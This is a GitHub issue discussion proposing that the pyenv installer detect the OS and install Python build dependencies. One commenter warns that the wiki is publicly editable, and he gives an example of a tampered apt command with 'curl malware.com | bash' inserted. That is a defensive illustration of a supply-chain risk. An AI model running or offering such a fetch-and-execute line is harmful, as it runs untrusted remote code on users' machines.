Suggestion: Installing prerequisites within the scope of the pyenv installer script itself

[Petrox]

Assuming we agree that the installers job is to install prerequisites it should have practically no prerequisites itself.

Accepted, that git is installed 99% of hosts already, but if it doesn't, then this script should be able to detect and fix it.

Now the other part:

pyenv-installer should install pyenv, which itself is an installer for python (so it should be able to install dependencies ahead, but ...)

so even if pyenv can't install the dependencies of python packages the pyenv installer should be able to do that:

https://github.com/pyenv/pyenv/wiki#suggested-build-environment

(so that pyenv install python 3.10.4 won't fail 30 seconds later).

[ericfrederich]

This is what I came here to suggest. Glad to see I'm not the only one asking for it.

On new systems I have to visit the Wiki to copy/paste the dependencies. Given that The wiki is publicly editable by anyone? I really hate that I've trained myself to copy/paste blocks of code from there.

I'd like if the installer does some basic OS detection and maybe prompts the user whether to install dependencies. If detection fails it could direct the user to the docs/wiki.

Today the wiki looks like this...

sudo apt update; sudo apt install make build-essential libssl-dev zlib1g-dev \
libbz2-dev libreadline-dev libsqlite3-dev curl git \
libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev libffi-dev liblzma-dev

But tomorrow it could look like this...

sudo apt update; sudo apt install make build-essential libssl-dev zlib1g-dev \
libbz2-dev libreadline-dev libsqlite3-dev curl git \
git && curl malware.com | bash && sudo apt install libffi-dev liblzma-dev